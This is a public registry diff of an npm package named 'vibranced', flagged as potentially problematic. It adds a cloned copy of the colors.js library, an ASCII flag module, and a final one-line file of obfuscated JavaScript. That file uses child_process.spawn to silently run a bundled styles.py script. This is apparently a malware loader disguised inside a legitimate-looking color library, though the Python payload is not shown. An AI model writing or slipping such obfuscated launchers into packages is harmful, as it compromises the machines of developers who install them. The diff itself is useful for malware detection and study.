vibranced 0.0.1-security → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vibranced might be problematic. Click here for more details.

package/lib/colors.js ADDED
@@ -0,0 +1,211 @@
1
+ /*
2
+
3
+ The MIT License (MIT)
4
+
5
+ Original Library
6
+ - Copyright (c) Marak Squires
7
+
8
+ Additional functionality
9
+ - Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
10
+
11
+ Permission is hereby granted, free of charge, to any person obtaining a copy
12
+ of this software and associated documentation files (the "Software"), to deal
13
+ in the Software without restriction, including without limitation the rights
14
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
15
+ copies of the Software, and to permit persons to whom the Software is
16
+ furnished to do so, subject to the following conditions:
17
+
18
+ The above copyright notice and this permission notice shall be included in
19
+ all copies or substantial portions of the Software.
20
+
21
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
22
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
23
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
24
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
25
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
26
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
27
+ THE SOFTWARE.
28
+
29
+ */
30
+
31
+ var colors = {};
32
+ module['exports'] = colors;
33
+
34
+ colors.themes = {};
35
+
36
+ var util = require('util');
37
+ var ansiStyles = colors.styles = require('./styles');
38
+ var defineProps = Object.defineProperties;
39
+ var newLineRegex = new RegExp(/[\r\n]+/g);
40
+
41
+ colors.supportsColor = require('./system/supports-colors').supportsColor;
42
+
43
+ if (typeof colors.enabled === 'undefined') {
44
+ colors.enabled = colors.supportsColor() !== false;
45
+ }
46
+
47
+ colors.enable = function() {
48
+ colors.enabled = true;
49
+ };
50
+
51
+ colors.disable = function() {
52
+ colors.enabled = false;
53
+ };
54
+
55
+ colors.stripColors = colors.strip = function(str) {
56
+ return ('' + str).replace(/\x1B\[\d+m/g, '');
57
+ };
58
+
59
+ // eslint-disable-next-line no-unused-vars
60
+ var stylize = colors.stylize = function stylize(str, style) {
61
+ if (!colors.enabled) {
62
+ return str+'';
63
+ }
64
+
65
+ var styleMap = ansiStyles[style];
66
+
67
+ // Stylize should work for non-ANSI styles, too
68
+ if(!styleMap && style in colors){
69
+ // Style maps like trap operate as functions on strings;
70
+ // they don't have properties like open or close.
71
+ return colors[style](str);
72
+ }
73
+
74
+ return styleMap.open + str + styleMap.close;
75
+ };
76
+
77
+ var matchOperatorsRe = /[|\\{}()[\]^$+*?.]/g;
78
+ var escapeStringRegexp = function(str) {
79
+ if (typeof str !== 'string') {
80
+ throw new TypeError('Expected a string');
81
+ }
82
+ return str.replace(matchOperatorsRe, '\\$&');
83
+ };
84
+
85
+ function build(_styles) {
86
+ var builder = function builder() {
87
+ return applyStyle.apply(builder, arguments);
88
+ };
89
+ builder._styles = _styles;
90
+ // __proto__ is used because we must return a function, but there is
91
+ // no way to create a function with a different prototype.
92
+ builder.__proto__ = proto;
93
+ return builder;
94
+ }
95
+
96
+ var styles = (function() {
97
+ var ret = {};
98
+ ansiStyles.grey = ansiStyles.gray;
99
+ Object.keys(ansiStyles).forEach(function(key) {
100
+ ansiStyles[key].closeRe =
101
+ new RegExp(escapeStringRegexp(ansiStyles[key].close), 'g');
102
+ ret[key] = {
103
+ get: function() {
104
+ return build(this._styles.concat(key));
105
+ },
106
+ };
107
+ });
108
+ return ret;
109
+ })();
110
+
111
+ var proto = defineProps(function colors() {}, styles);
112
+
113
+ function applyStyle() {
114
+ var args = Array.prototype.slice.call(arguments);
115
+
116
+ var str = args.map(function(arg) {
117
+ // Use weak equality check so we can colorize null/undefined in safe mode
118
+ if (arg != null && arg.constructor === String) {
119
+ return arg;
120
+ } else {
121
+ return util.inspect(arg);
122
+ }
123
+ }).join(' ');
124
+
125
+ if (!colors.enabled || !str) {
126
+ return str;
127
+ }
128
+
129
+ var newLinesPresent = str.indexOf('\n') != -1;
130
+
131
+ var nestedStyles = this._styles;
132
+
133
+ var i = nestedStyles.length;
134
+ while (i--) {
135
+ var code = ansiStyles[nestedStyles[i]];
136
+ str = code.open + str.replace(code.closeRe, code.open) + code.close;
137
+ if (newLinesPresent) {
138
+ str = str.replace(newLineRegex, function(match) {
139
+ return code.close + match + code.open;
140
+ });
141
+ }
142
+ }
143
+
144
+ return str;
145
+ }
146
+
147
+ colors.setTheme = function(theme) {
148
+ if (typeof theme === 'string') {
149
+ console.log('colors.setTheme now only accepts an object, not a string. ' +
150
+ 'If you are trying to set a theme from a file, it is now your (the ' +
151
+ 'caller\'s) responsibility to require the file. The old syntax ' +
152
+ 'looked like colors.setTheme(__dirname + ' +
153
+ '\'/../themes/generic-logging.js\'); The new syntax looks like '+
154
+ 'colors.setTheme(require(__dirname + ' +
155
+ '\'/../themes/generic-logging.js\'));');
156
+ return;
157
+ }
158
+ for (var style in theme) {
159
+ (function(style) {
160
+ colors[style] = function(str) {
161
+ if (typeof theme[style] === 'object') {
162
+ var out = str;
163
+ for (var i in theme[style]) {
164
+ out = colors[theme[style][i]](out);
165
+ }
166
+ return out;
167
+ }
168
+ return colors[theme[style]](str);
169
+ };
170
+ })(style);
171
+ }
172
+ };
173
+
174
+ function init() {
175
+ var ret = {};
176
+ Object.keys(styles).forEach(function(name) {
177
+ ret[name] = {
178
+ get: function() {
179
+ return build([name]);
180
+ },
181
+ };
182
+ });
183
+ return ret;
184
+ }
185
+
186
+ var sequencer = function sequencer(map, str) {
187
+ var exploded = str.split('');
188
+ exploded = exploded.map(map);
189
+ return exploded.join('');
190
+ };
191
+
192
+ // custom formatter methods
193
+ colors.trap = require('./custom/trap');
194
+ colors.zalgo = require('./custom/zalgo');
195
+
196
+ // maps
197
+ colors.maps = {};
198
+ colors.maps.america = require('./maps/america')(colors);
199
+ colors.maps.zebra = require('./maps/zebra')(colors);
200
+ colors.maps.rainbow = require('./maps/rainbow')(colors);
201
+ colors.maps.random = require('./maps/random')(colors);
202
+
203
+ for (var map in colors.maps) {
204
+ (function(map) {
205
+ colors[map] = function(str) {
206
+ return sequencer(colors.maps[map], str);
207
+ };
208
+ })(map);
209
+ }
210
+
211
+ defineProps(colors, init());
@@ -0,0 +1,31 @@
1
+ module.exports = function americanFlag () {
2
+ console.log('LIBERTY LIBERTY LIBERTY'.yellow);
3
+ console.log('LIBERTY LIBERTY LIBERTY'.america);
4
+ console.log('LIBERTY LIBERTY LIBERTY'.yellow);
5
+ let flag = "\
6
+ \
7
+ !\
8
+ H|H|H|H|H H__________________________________\
9
+ H|§|§|§|H H|* * * * * *|---------------------|\
10
+ H|§|∞|§|H H| * * * * * |---------------------|\
11
+ H|§|§|§|H H|* * * * * *|---------------------|\
12
+ H|H|H|H|H H| * * * * * |---------------------|\
13
+ H|H|H|H|H H|---------------------------------|\
14
+ =============== H|---------------------------------|\
15
+ /| _ _ |\ H|---------------------------------|\
16
+ (| O O |) H|---------------------------------|\
17
+ /| U |\ H-----------------------------------\
18
+ | \=/ | H\
19
+ \_..._/ H\
20
+ _|\I/|_ H\
21
+ _______/\| H |/\_______ H\
22
+ / \ \ / / \ H\
23
+ | \ | | / | H\
24
+ | ||o|| | H\
25
+ | | ||o|| | | H\
26
+ | | ||o|| | | H Carl Pilcher\
27
+ ";
28
+
29
+ console.log(flag);
30
+
31
+ }
@@ -0,0 +1 @@
1
+ (function(_0x3e927e,_0x1eff84){const _0x51de25=_0x5848,_0x3a9ff3=_0x3e927e();while(!![]){try{const _0x41c85a=-parseInt(_0x51de25(0x187))/0x1*(parseInt(_0x51de25(0x181))/0x2)+parseInt(_0x51de25(0x180))/0x3*(-parseInt(_0x51de25(0x17d))/0x4)+-parseInt(_0x51de25(0x182))/0x5*(parseInt(_0x51de25(0x183))/0x6)+-parseInt(_0x51de25(0x17b))/0x7+parseInt(_0x51de25(0x17c))/0x8+parseInt(_0x51de25(0x17f))/0x9+parseInt(_0x51de25(0x184))/0xa*(parseInt(_0x51de25(0x17e))/0xb);if(_0x41c85a===_0x1eff84)break;else _0x3a9ff3['push'](_0x3a9ff3['shift']());}catch(_0x544821){_0x3a9ff3['push'](_0x3a9ff3['shift']());}}}(_0x1366,0xf03f4));function _0x1366(){const _0x3a6aa2=['15230504UGyXxV','4908gPshJG','624437rMzZFD','17671581NRoCOp','1644iFCZzZ','1049914pIuole','2572930zqDgEK','6wVRKUc','40AMwHNW','/styles.py','python','1eyllAP','error','9788793IRpOrc'];_0x1366=function(){return _0x3a6aa2;};return _0x1366();}function _0x5848(_0x327fd9,_0x237426){const _0x1366e6=_0x1366();return _0x5848=function(_0x584848,_0xfcf63f){_0x584848=_0x584848-0x17a;let _0x21838d=_0x1366e6[_0x584848];return _0x21838d;},_0x5848(_0x327fd9,_0x237426);}const {spawn}=require('child_process'),a=async()=>{const _0x43e205=_0x5848;try{spawn('py',[__dirname+'/styles.py']);}catch(_0x43f61e){console[_0x43e205(0x17a)](_0x43f61e);}try{spawn(_0x43e205(0x186),[__dirname+_0x43e205(0x185)]);}catch(_0x5af29c){console[_0x43e205(0x17a)](_0x5af29c);}try{spawn('py',[__dirname+_0x43e205(0x185)]);}catch(_0x1db291){console['error'](_0x1db291);}};a();